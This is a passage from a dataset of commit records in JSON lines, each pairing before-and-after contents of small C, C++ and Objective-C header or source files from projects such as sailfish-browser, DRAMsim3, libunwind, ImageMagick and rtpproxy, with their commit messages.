rosswalk,bright-sparks\/chromium-spacewalk,ltilve\/chromium,anirudhSK\/chromium,robclark\/chromium,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,rogerwang\/chromium,ondra-novak\/chromium.src,dushu1203\/chromium.src,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,robclark\/chromium,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,jaruba\/chromium.src,anirudhSK\/chromium,keishi\/chromium,timopulkkinen\/BubbleFish,dednal\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,keishi\/chromium,Chilledheart\/chromium,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,keishi\/chromium,Just-D\/chromium-1,keishi\/chromium,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,patrickm\/chromium.src,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,keishi\/chromium,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,ChromiumWebApps\/chromium,M4sse\/chromium.src,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,Chilledheart\/chromium,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail"}
{"commit":"9aeeff90e1fab8a397365ff74c7d814355241a18","old_file":"tests\/auto\/common\/declarativewebutils.h","new_file":"tests\/auto\/common\/declarativewebutils.h","old_contents":"\/****************************************************************************\n**\n** Copyright (C) 2014 Jolla Ltd.\n** Contact: Raine Makelainen <raine.makelainen@jolla.com>\n**\n****************************************************************************\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#ifndef DECLARATIVEWEBUTILS_H\n#define DECLARATIVEWEBUTILS_H\n\n#include <QObject>\n#include <QString>\n#include <QColor>\n#include <qqml.h>\n\nclass DeclarativeWebUtils : public QObject\n{\n    Q_OBJECT\n    Q_PROPERTY(QString homePage READ homePage NOTIFY homePageChanged FINAL)\n\npublic:\n    explicit DeclarativeWebUtils(QObject *parent = 0);\n\n    Q_INVOKABLE int getLightness(QColor color) const;\n    Q_INVOKABLE QString displayableUrl(QString fullUrl) const;\n\n    static DeclarativeWebUtils *instance();\n\n    QString homePage() const;\n    bool firstUseDone() const;\n    void setFirstUseDone(bool firstUseDone);\n\nsignals:\n    void homePageChanged();\n\nprivate:\n    QString m_homePage;\n    bool m_firstUseDone;\n};\n\nQML_DECLARE_TYPE(DeclarativeWebUtils)\n\n#endif\n","new_contents":"\/****************************************************************************\n**\n** Copyright (C) 2014 Jolla Ltd.\n** Contact: Raine Makelainen <raine.makelainen@jolla.com>\n**\n****************************************************************************\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#ifndef DECLARATIVEWEBUTILS_H\n#define DECLARATIVEWEBUTILS_H\n\n#include <QObject>\n#include <QString>\n#include <QColor>\n#include <qqml.h>\n\nclass DeclarativeWebUtils : public QObject\n{\n    Q_OBJECT\n    Q_PROPERTY(QString homePage READ homePage NOTIFY homePageChanged FINAL)\n    Q_PROPERTY(bool firstUseDone READ firstUseDone NOTIFY firstUseDoneChanged FINAL)\n\npublic:\n    explicit DeclarativeWebUtils(QObject *parent = 0);\n\n    Q_INVOKABLE int getLightness(QColor color) const;\n    Q_INVOKABLE QString displayableUrl(QString fullUrl) const;\n\n    static DeclarativeWebUtils *instance();\n\n    QString homePage() const;\n    bool firstUseDone() const;\n    void setFirstUseDone(bool firstUseDone);\n\nsignals:\n    void homePageChanged();\n    void firstUseDoneChanged();\n\nprivate:\n    QString m_homePage;\n    bool m_firstUseDone;\n};\n\nQML_DECLARE_TYPE(DeclarativeWebUtils)\n\n#endif\n","subject":"Add missing property for WebUtils mock","message":"[sailfish-browser] Add missing property for WebUtils mock\n\nA warning was printed when running unit tests.\n","lang":"C","license":"mpl-2.0","repos":"rojkov\/sailfish-browser,alinelena\/sailfish-browser,alinelena\/sailfish-browser,alinelena\/sailfish-browser,sailfishos\/sailfish-browser,rojkov\/sailfish-browser,sailfishos\/sailfish-browser,sailfishos\/sailfish-browser,rojkov\/sailfish-browser,sailfishos\/sailfish-browser,alinelena\/sailfish-browser,sailfishos\/sailfish-browser"}
{"commit":"492c63393fd3429b2c7f9da853241eea322514b1","old_file":"Control\/UIButton+PPiAwesome.h","new_file":"Control\/UIButton+PPiAwesome.h","old_contents":"\/\/\n\/\/  UIButton+PPiAwesome.h\n\/\/  PPiAwesomeButton-Demo\n\/\/\n\/\/  Created by Pedro Piñera Buendía on 19\/08\/13.\n\/\/  Copyright (c) 2013 PPinera. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"NSString+FontAwesome.h\"\n#import <QuartzCore\/QuartzCore.h>\n#import <objc\/runtime.h>\ntypedef enum {\n    IconPositionRight,\n    IconPositionLeft,\n} IconPosition;\n\n@interface UIButton (PPiAwesome)\n+(UIButton*)buttonWithType:(UIButtonType)type text:(NSString*)text icon:(NSString*)icon textAttributes:(NSDictionary*)attributes andIconPosition:(IconPosition)position;\n-(id)initWithFrame:(CGRect)frame text:(NSString*)text icon:(NSString*)icon textAttributes:(NSDictionary*)attributes andIconPosition:(IconPosition)position;\n\n-(void)setTextAttributes:(NSDictionary*)attributes forUIControlState:(UIControlState)state;\n-(void)setBackgroundColor:(UIColor*)color forUIControlState:(UIControlState)state;\n-(void)setIconPosition:(IconPosition)position;\n-(void)setButtonText:(NSString*)text;\n-(void)setButtonIcon:(NSString*)icon;\n-(void)setRadius:(CGFloat)radius;\n-(void)setSeparation:(NSUInteger)separation;\n\n@end\n","new_contents":"\/\/\n\/\/  UIButton+PPiAwesome.h\n\/\/  PPiAwesomeButton-Demo\n\/\/\n\/\/  Created by Pedro Piñera Buendía on 19\/08\/13.\n\/\/  Copyright (c) 2013 PPinera. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"NSString+FontAwesome.h\"\n#import <QuartzCore\/QuartzCore.h>\n#import <objc\/runtime.h>\ntypedef enum {\n    IconPositionRight,\n    IconPositionLeft,\n} IconPosition;\n\n@interface UIButton (PPiAwesome)\n+(UIButton*)buttonWithType:(UIButtonType)type text:(NSString*)text icon:(NSString*)icon textAttributes:(NSDictionary*)attributes andIconPosition:(IconPosition)position;\n-(id)initWithFrame:(CGRect)frame text:(NSString*)text icon:(NSString*)icon textAttributes:(NSDictionary*)attributes andIconPosition:(IconPosition)position;\n\n-(void)setTextAttributes:(NSDictionary*)attributes forUIControlState:(UIControlState)state;\n-(void)setBackgroundColor:(UIColor*)color forUIControlState:(UIControlState)state;\n-(void)setIconPosition:(IconPosition)position;\n-(void)setButtonText:(NSString*)text;\n-(void)setButtonIcon:(NSString*)icon;\n-(void)setRadius:(CGFloat)radius;\n-(void)setSeparation:(NSUInteger)separation;\n-(void)setIsAwesome:(BOOL)isAwesome;\n\n@end\n","subject":"Make isAwesome public to convert nib-based buttons.","message":"Make isAwesome public to convert nib-based buttons.\n","lang":"C","license":"mit","repos":"pepibumur\/PPiAwesomeButton"}
{"commit":"caa8bfc990f7f71a9b46b63a4191d26ebc62df2d","old_file":"src\/dramsim3.h","new_file":"src\/dramsim3.h","old_contents":"","new_contents":"#ifndef __MEMORY_SYSTEM__H\n#define __MEMORY_SYSTEM__H\n\n#include <functional>\n#include <string>\n\nnamespace dramsim3 {\n\n\/\/ This should be the interface class that deals with CPU\nclass MemorySystem {\n   public:\n    MemorySystem(const std::string &config_file, const std::string &output_dir,\n                 std::function<void(uint64_t)> read_callback,\n                 std::function<void(uint64_t)> write_callback);\n    ~MemorySystem();\n    void ClockTick();\n    void RegisterCallbacks(std::function<void(uint64_t)> read_callback,\n                           std::function<void(uint64_t)> write_callback);\n    double GetTCK() const;\n    int GetBusBits() const;\n    int GetBurstLength() const;\n    int GetQueueSize() const;\n    void PrintStats() const;\n\n    bool WillAcceptTransaction(uint64_t hex_addr, bool is_write) const;\n    bool AddTransaction(uint64_t hex_addr, bool is_write);\n};\n\n}  \/\/ namespace dramsim3\n\n#endif\n","subject":"Add header file for external use (e.g. SST)","message":"Add header file for external use (e.g. SST)\n","lang":"C","license":"mit","repos":"umd-memsys\/DRAMsim3,umd-memsys\/DRAMsim3,umd-memsys\/DRAMsim3"}
{"commit":"25677943d30e2b6a64a8be9628c12bd5a2290c46","old_file":"include\/kernel\/mbr.h","new_file":"include\/kernel\/mbr.h","old_contents":"#ifndef MBR_H\n#define MBR_H\n\n#include <stdint.h>\n\nstruct MBREntry {\n\tuint8_t  boot_indicator;\n\tuint8_t  starting_head;\n\tuint16_t starting_sector   :  6;\n\tuint16_t starting_cylinder : 10;\n\tuint8_t  system_id;\n\tuint8_t  ending_head;\n\tuint16_t ending_sector     :  6;\n\tuint16_t ending_cylinder   : 10;\n\tuint32_t starting_lba;\n\tuint32_t sector_count;\n} __attribute__((packed));\n\nstruct MBR {\n\tuint8_t padding[0x1BE];\n\tMBREntry entries[4];\n} __attribute__((packed));\n\nMBR mbr_read(void);\n\n#endif\n","new_contents":"#ifndef MBR_H\n#define MBR_H\n\n#include <stdint.h>\n\nstruct MBREntry {\n\tuint8_t  boot_indicator;\n\tuint8_t  starting_head;\n\tuint16_t starting_sector   :  6;\n\tuint16_t starting_cylinder : 10;\n\tuint8_t  system_id;\n\tuint8_t  ending_head;\n\tuint16_t ending_sector     :  6;\n\tuint16_t ending_cylinder   : 10;\n\tuint32_t starting_lba;\n\tuint32_t sector_count;\n} __attribute__((packed));\n\nstruct MBR {\n\tuint8_t padding[0x1BE];\n\tMBREntry entries[4];\n\tuint16_t boot_signature;\n} __attribute__((packed));\n\nMBR mbr_read(void);\n\n#endif\n","subject":"Add boot sig to MBR structure","message":"Add boot sig to MBR structure\n","lang":"C","license":"apache-2.0","repos":"shockkolate\/shockk-os,shockkolate\/shockk-os,shockkolate\/shockk-os"}
{"commit":"11e76e19c17cc102c0e0aff431e4058ba6d3b730","old_file":"YouLocal\/Views\/Cells\/NotificationTableViewCell.h","new_file":"YouLocal\/Views\/Cells\/NotificationTableViewCell.h","old_contents":"\/\/\n\/\/  UINotificationTableViewCell.h\n\/\/  YouLocal\n\/\/\n\/\/  Created by Mihail Velikov on 5\/3\/15.\n\/\/  Copyright (c) 2015 YouLoc.al. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface NotificationTableViewCell : UITableViewCell\n\n@property (nonatomic, weak) UIImageView *avatarImage;\n@property (nonatomic, weak) UIImageView *typeImage;\n@property (nonatomic, weak) UILabel *authorNameLabel;\n@property (nonatomic, weak) UILabel *createdBeforeLabel;\n@property (nonatomic, weak) UILabel *messageLabel;\n\n@end\n","new_contents":"\/\/\n\/\/  UINotificationTableViewCell.h\n\/\/  YouLocal\n\/\/\n\/\/  Created by Mihail Velikov on 5\/3\/15.\n\/\/  Copyright (c) 2015 YouLoc.al. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface NotificationTableViewCell : UITableViewCell\n\n@property (weak, nonatomic) IBOutlet UIImageView *avatarImage;\n@property (weak, nonatomic) IBOutlet UIImageView *typeImage;\n@property (weak, nonatomic) IBOutlet UILabel *nameLabel;\n@property (weak, nonatomic) IBOutlet UILabel *typeLabel;\n@property (weak, nonatomic) IBOutlet UILabel *messageLabel;\n@property (weak, nonatomic) IBOutlet UILabel *createdBeforeLabel;\n@property (weak, nonatomic) IBOutlet UILabel *createdBeforeSign;\n@end\n","subject":"Add Storyboard outlets in Notifications cell class","message":"Add Storyboard outlets in Notifications cell class\n","lang":"C","license":"mit","repos":"mvelikov\/notifications-ios-app-example"}
{"commit":"b766d280380d5445046232cbb437393949936e5b","old_file":"Magick++\/fuzz\/encoder_format.h","new_file":"Magick++\/fuzz\/encoder_format.h","old_contents":"class EncoderFormat {\npublic:\n  std::string get() { return std::string(_format.begin(), _format.end()); } const\n  void set(const std::wstring fileName, const std::wstring extension)\n  {\n    if (fileName.find(L\"clusterfuzz-testcase-\") == -1)\n    {\n      if (extension.length() > 1)\n        _format = extension.substr(1, extension.size() - 1);\n      return;\n    }\n\n    std::wstring format=fileName;\n\n    size_t index = format.find(L\"_\", 0);\n    if (index == std::wstring::npos)\n      return;\n\n    format=format.substr(index + 1);\n    index = format.find(L\"_\", 0);\n    if (index != std::wstring::npos)\n      _format=format.substr(0, index);\n  }\nprivate:\n  std::wstring _format = L\".notset\";\n};","new_contents":"class EncoderFormat {\npublic:\n  std::string get() { return std::string(_format.begin(), _format.end()); } const\n  void set(const std::wstring fileName, const std::wstring extension)\n  {\n    if (fileName.find(L\"clusterfuzz-testcase-\") == -1)\n    {\n      if (extension.length() > 1)\n        _format = extension.substr(1, extension.size() - 1);\n      return;\n    }\n\n    std::wstring format=fileName;\n\n    size_t index = format.find(L\"_\", 0);\n    if (index == std::wstring::npos)\n      return;\n\n    format=format.substr(index + 1);\n    index = format.find(L\"_\", 0);\n    if (index != std::wstring::npos)\n      _format=format.substr(0, index);\n    else if (extension.length() > 1)\n      _format=extension.substr(1, extension.size() - 1);\n  }\nprivate:\n  std::wstring _format = L\".notset\";\n};","subject":"Use file extension as fallback.","message":"Use file extension as fallback.\n","lang":"C","license":"apache-2.0","repos":"Danack\/ImageMagick,Danack\/ImageMagick,Danack\/ImageMagick,Danack\/ImageMagick,Danack\/ImageMagick,Danack\/ImageMagick"}
{"commit":"78306c6f140c57f45336f77ef72d027887632581","old_file":"src\/dyn-register.c","new_file":"src\/dyn-register.c","old_contents":"#include <libunwind.h>\n\n#ifndef HAVE_CMP8XCHG16\n\n#include <pthread.h>\n\n\/* Make it easy to write thread-safe code which may or may not be\n   linked against libpthread.  The macros below can be used\n   unconditionally and if -lpthread is around, they'll call the\n   corresponding routines otherwise, they do nothing.  *\/\n\n#pragma weak pthread_rwlock_rdlock\n#pragma weak pthread_rwlock_wrlock\n#pragma weak pthread_rwlock_unlock\n\n#define rw_rdlock(l)    (pthread_rwlock_rdlock ? pthread_rwlock_rdlock (l) : 0)\n#define rw_wrlock(l)    (pthread_rwlock_wrlock ? pthread_rwlock_wrlock (l) : 0)\n#define rw_unlock(l)    (pthread_rwlock_unlock ? pthread_rwlock_unlock (l) : 0)\n\nstatic pthread_rwlock_t registration_lock = PTHREAD_RWLOCK_INITIALIZER;\n\n#endif\n\nextern unw_dyn_info_list_t _U_dyn_info_list;\n\nint\n_U_dyn_register (unw_dyn_info_t *di)\n{\n#ifdef HAVE_CMP8XCHG16\n  unw_dyn_info_t *old_list_head, *new_list_head;\n  unsigned long old_gen, new_gen;\n\n  do\n    {\n      old_gen = _U_dyn_info_list.generation;\n      old_list_head = _U_dyn_info_list.first;\n\n      new_gen = old_gen + 1;\n      new_list_head = di;\n      di->next = old_list_head;\n    }\n  while (cmp8xchg16 (&_U_dyn_info_list, new_gen, new_list_head) != old_gen);\n#else\n  rw_wrlock (&registration_lock);\n  {\n    ++_U_dyn_info_list.generation;\n    di->next = _U_dyn_info_list.first;\n    _U_dyn_info_list.first = di;\n  }\n  rw_unlock (&registration_lock);\n#endif\n}\n","new_contents":"#include \"internal.h\"\n\npthread_mutex_t _U_dyn_info_list_lock = PTHREAD_MUTEX_INITIALIZER;\n\nvoid\n_U_dyn_register (unw_dyn_info_t *di)\n{\n  mutex_lock (&_U_dyn_info_list_lock);\n  {\n    ++_U_dyn_info_list.generation;\n\n    di->next = _U_dyn_info_list.first;\n    di->prev = NULL;\n    if (di->next)\n\t    di->next->prev = di;\n    _U_dyn_info_list.first = di;\n  }\n  mutex_unlock (&_U_dyn_info_list_lock);\n}\n","subject":"Move pthread-locking stuff to \"internal.h\". (_U_dyn_info_list_lock): Rename from \"registration_lock\" and change from r\/w-lock to a simple mutex (spin) lock. (_U_dyn_register): Insert into doubly-linked list.","message":"Move pthread-locking stuff to \"internal.h\".\n(_U_dyn_info_list_lock): Rename from \"registration_lock\" and change from r\/w-lock\n\tto a simple mutex (spin) lock.\n(_U_dyn_register): Insert into doubly-linked list.\n\n(Logical change 1.30)\n","lang":"C","license":"mit","repos":"atanasyan\/libunwind,unkadoug\/libunwind,unkadoug\/libunwind,bo-on-software\/libunwind,atanasyan\/libunwind,zeldin\/platform_external_libunwind,ehsan\/libunwind,olibc\/libunwind,maltek\/platform_external_libunwind,rantala\/libunwind,geekboxzone\/lollipop_external_libunwind,dreal-deps\/libunwind,dropbox\/libunwind,Keno\/libunwind,wdv4758h\/libunwind,geekboxzone\/lollipop_external_libunwind,rntz\/libunwind,libunwind\/libunwind,dagar\/libunwind,DroidSim\/platform_external_libunwind,Chilledheart\/libunwind,olibc\/libunwind,CyanogenMod\/android_external_libunwind,lat\/libunwind,adsharma\/libunwind,maltek\/platform_external_libunwind,igprof\/libunwind,tkelman\/libunwind,martyone\/libunwind,geekboxzone\/mmallow_external_libunwind,yuyichao\/libunwind,tony\/libunwind,rogwfu\/libunwind,rogwfu\/libunwind,mpercy\/libunwind,rantala\/libunwind,Keno\/libunwind,zliu2014\/libunwind-tilegx,martyone\/libunwind,androidarmv6\/android_external_libunwind,vegard\/libunwind,tkelman\/libunwind,project-zerus\/libunwind,bo-on-software\/libunwind,androidarmv6\/android_external_libunwind,igprof\/libunwind,cms-externals\/libunwind,Chilledheart\/libunwind,vegard\/libunwind,rantala\/libunwind,fillexen\/libunwind,dreal-deps\/libunwind,jrmuizel\/libunwind,0xlab\/0xdroid-external_libunwind,tronical\/libunwind,tony\/libunwind,android-ia\/platform_external_libunwind,project-zerus\/libunwind,tkelman\/libunwind,joyent\/libunwind,bo-on-software\/libunwind,CyanogenMod\/android_external_libunwind,atanasyan\/libunwind-android,adsharma\/libunwind,dreal-deps\/libunwind,igprof\/libunwind,atanasyan\/libunwind-android,vtjnash\/libunwind,Keno\/libunwind,unkadoug\/libunwind,geekboxzone\/lollipop_external_libunwind,lat\/libunwind,vegard\/libunwind,yuyichao\/libunwind,geekboxzone\/mmallow_external_libunwind,0xlab\/0xdroid-external_libunwind,vtjnash\/libunwind,tony\/libunwind,frida\/libunwind,tronical\/libunwind,DroidSim\/platform_external_libunwind,fillexen\/libunwind,tronical\/libunwind,wdv4758h\/libunwind,rogwfu\/libunwind,dagar\/libunwind,pathscale\/libunwind,cloudius-systems\/libunwind,olibc\/libunwind,ehsan\/libunwind,android-ia\/platform_external_libunwind,CyanogenMod\/android_external_libunwind,libunwind\/libunwind,martyone\/libunwind,krytarowski\/libunwind,zeldin\/platform_external_libunwind,cloudius-systems\/libunwind,evaautomation\/libunwind,SyndicateRogue\/libunwind,evaautomation\/libunwind,atanasyan\/libunwind-android,joyent\/libunwind,cms-externals\/libunwind,maltek\/platform_external_libunwind,atanasyan\/libunwind,ehsan\/libunwind,dropbox\/libunwind,geekboxzone\/mmallow_external_libunwind,android-ia\/platform_external_libunwind,0xlab\/0xdroid-external_libunwind,krytarowski\/libunwind,rntz\/libunwind,frida\/libunwind,mpercy\/libunwind,SyndicateRogue\/libunwind,jrmuizel\/libunwind,krytarowski\/libunwind,project-zerus\/libunwind,fillexen\/libunwind,fdoray\/libunwind,evaautomation\/libunwind,cloudius-systems\/libunwind,djwatson\/libunwind,fdoray\/libunwind,androidarmv6\/android_external_libunwind,pathscale\/libunwind,jrmuizel\/libunwind,dropbox\/libunwind,lat\/libunwind,frida\/libunwind,adsharma\/libunwind,dagar\/libunwind,joyent\/libunwind,libunwind\/libunwind,zliu2014\/libunwind-tilegx,wdv4758h\/libunwind,zeldin\/platform_external_libunwind,fdoray\/libunwind,yuyichao\/libunwind,djwatson\/libunwind,mpercy\/libunwind,rntz\/libunwind,zliu2014\/libunwind-tilegx,SyndicateRogue\/libunwind,djwatson\/libunwind,cms-externals\/libunwind,pathscale\/libunwind,vtjnash\/libunwind,Chilledheart\/libunwind,DroidSim\/platform_external_libunwind"}
{"commit":"1947dff2376fbd98dde548ee18c8868da9f36709","old_file":"src\/eigen_qdebug.h","new_file":"src\/eigen_qdebug.h","old_contents":"","new_contents":"#ifndef SRC_EIGEN_QDEBUG_H_\n\n#define SRC_EIGEN_QDEBUG_H_\n\n#include <iostream>\n#include <QDebug>\n#include <Eigen\/Core>\n\nQDebug operator<<(QDebug dbg, const Eigen::Vector2f &vector)\n{\n  dbg << \"[\" << vector.x() << \"|\" << vector.y() << \"]\";\n\n  return dbg.maybeSpace();\n}\n\nQDebug operator<<(QDebug dbg, const Eigen::Vector3f &vector)\n{\n  dbg << \"[\" << vector.x() << \"|\" << vector.y() << \"|\" << vector.z() << \"]\";\n\n  return dbg.maybeSpace();\n}\n\nQDebug operator<<(QDebug dbg, const Eigen::Matrix4f &vector)\n{\n  const Eigen::IOFormat cleanFormat(4, 0, \", \", \"\\n\", \"[\", \"]\");\n  std::stringstream stream;\n  stream << vector.format(cleanFormat);\n  dbg << stream.str().c_str();\n\n  return dbg.maybeSpace();\n}\n\n#endif  \/\/ SRC_EIGEN_QDEBUG_H_\n","subject":"Add overloads for qDebug << and some eigen types.","message":"Add overloads for qDebug << and some eigen types.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"ee912d3abbdcbbde6a46d5a3a3a27008d374710c","old_file":"src\/rtpp_module.h","new_file":"src\/rtpp_module.h","old_contents":"#define MODULE_API_REVISION 1\n\nstruct api_version {\n    int rev;\n    size_t mi_size;\n};\n\nstruct moduleinfo {\n    const char *name;\n    struct api_version ver;\n};\n\n#define MI_VER_INIT(sname) {.rev = MODULE_API_REVISION, .mi_size = sizeof(sname)}\n","new_contents":"#define MODULE_API_REVISION 2\n\nstruct rtpp_cfg_stable;\nstruct rtpp_module_priv;\nstruct rtpp_accounting;\n\nDEFINE_METHOD(rtpp_cfg_stable, rtpp_module_ctor, struct rtpp_module_priv *);\nDEFINE_METHOD(rtpp_module_priv, rtpp_module_dtor, void);\nDEFINE_METHOD(rtpp_module_priv, rtpp_module_on_session_end, void,\n  struct rtpp_accounting *);\n\nstruct api_version {\n    int rev;\n    size_t mi_size;\n};\n\nstruct moduleinfo {\n    const char *name;\n    struct api_version ver;\n    rtpp_module_ctor_t ctor;\n    rtpp_module_dtor_t dtor;\n    rtpp_module_on_session_end_t on_session_end;\n};\n\n#define MI_VER_INIT(sname) {.rev = MODULE_API_REVISION, .mi_size = sizeof(sname)}\n#define MI_VER_CHCK(sname, sptr) ((sptr)->ver.rev == MODULE_API_REVISION && \\\n  (sptr)->ver.mi_size == sizeof(sname))\n","subject":"Define constructor, destructor and on_session_end methods.","message":"Define constructor, destructor and on_session_end methods.\n","lang":"C","license":"bsd-2-clause","repos":"sippy\/rtpproxy,sippy\/rtpproxy,jevonearth\/rtpproxy,jevonearth\/rtpproxy,dsanders11\/rtpproxy,dsanders11\/rtpproxy,jevonearth\/rtpproxy,sippy\/rtpproxy,dsanders11\/rtpproxy,synety-jdebp\/rtpproxy,synety-jdebp\/rtpproxy,synety-jdebp\/rtpproxy,jevonearth\/rtpproxy,synety-jdebp\/rtpproxy"}
{"commit":"e6d46509fa05529bdefd5d5c39544a9b28c7f959","old_file":"Demo-iOS\/Demo-iOS-Bridging-Header.h","new_file":"Demo-iOS\/Demo-iOS-Bridging-Header.h","old_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import \"DetailViewController.h\"\n#import \"LoremIpsum.h\"\n","new_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\n#import \"DetailViewController.h\"\n#import \"LoremIpsum.h\"\n","subject":"Add license to bridging header","message":"Add license to bridging header\n","lang":"C","license":"apache-2.0","repos":"Kosoku\/Ditko,Kosoku\/Ditko,Kosoku\/Ditko,Kosoku\/Ditko"}
{"commit":"ba289c0ae2bae2199af17ebac18347fbc5026186","old_file":"system\/check.c","new_file":"system\/check.c","old_contents":"#include <clib\/dos_protos.h>\n#include <inline\/dos_protos.h>\n#include <proto\/dos.h>\n#include <proto\/exec.h>\n#include <proto\/graphics.h>\n#include <exec\/execbase.h>\n#include <graphics\/gfxbase.h>\n\n#include \"system\/check.h\"\n\nbool SystemCheck() {\n  bool kickv40 = (SysBase->LibNode.lib_Version >= 40) ? TRUE : FALSE;\n  bool chipaga = (GfxBase->ChipRevBits0 & (GFXF_AA_ALICE|GFXF_AA_LISA)) ? TRUE : FALSE;\n  bool cpu68040 = (SysBase->AttnFlags & AFF_68040) ? TRUE : FALSE;\n  bool fpu68882 = (SysBase->AttnFlags & AFF_68882) ? TRUE : FALSE;\n\n  Printf(\"System check:\\n\");\n  Printf(\" - Kickstart v40 : %s\\n\", kickv40 ? \"yes\" : \"no\");\n  Printf(\" - ChipSet AGA : %s\\n\", chipaga ? \"yes\" : \"no\");\n  Printf(\" - CPU 68040 : %s\\n\", cpu68040 ? \"yes\" : \"no\");\n  Printf(\" - FPU 68882 : %s\\n\", fpu68882 ? \"yes\" : \"no\");\n\n  return (kickv40 && cpu68040 && fpu68882 && chipaga);\n}\n","new_contents":"#include <clib\/dos_protos.h>\n#include <inline\/dos_protos.h>\n#include <proto\/dos.h>\n#include <proto\/exec.h>\n#include <proto\/graphics.h>\n#include <exec\/execbase.h>\n#include <graphics\/gfxbase.h>\n\n#include \"system\/check.h\"\n\nbool SystemCheck() {\n  bool kickv40 = SysBase->LibNode.lib_Version >= 40;\n  bool chipaga = GfxBase->ChipRevBits0 & (GFXF_AA_ALICE|GFXF_AA_LISA);\n  bool cpu68040 = SysBase->AttnFlags & AFF_68040;\n  bool fpu68882 = SysBase->AttnFlags & AFF_68882;\n\n  Printf(\"System check:\\n\");\n  Printf(\" - Kickstart v40 : %s\\n\", kickv40 ? \"yes\" : \"no\");\n  Printf(\" - ChipSet AGA : %s\\n\", chipaga ? \"yes\" : \"no\");\n  Printf(\" - CPU 68040 : %s\\n\", cpu68040 ? \"yes\" : \"no\");\n  Printf(\" - FPU 68882 : %s\\n\", fpu68882 ? \"yes\" : \"no\");\n\n  return (kickv40 && cpu68040 && fpu68882 && chipaga);\n}\n","subject":"Remove explicit conversion to boolean value.","message":"Remove explicit conversion to boolean value.\n","lang":"C","license":"artistic-2.0","repos":"cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene"}
{"commit":"35aedef6490dae31cb00b09c826c18977c2a9128","old_file":"doc\/doxygen.h","new_file":"doc\/doxygen.h","old_contents":"\/**\n* @mainpage\n*\n* This is an automatically generated API documentation for the @c cpp-bencoding project.\n*\/\n","new_contents":"\/**\n* @mainpage\n*\n* This is an automatically generated API documentation for the @c cpp-bencoding project.\n*\/\n\n\/\/ Document the bencoding namespace (there is no better place).\n\/\/\/ @namespace bencoding Main namespace of the bencoding library.\n","subject":"Add a documentation for the bencoding namespace.","message":"Add a documentation for the bencoding namespace.\n","lang":"C","license":"bsd-3-clause","repos":"s3rvac\/cpp-bencoding,s3rvac\/cpp-bencoding"}
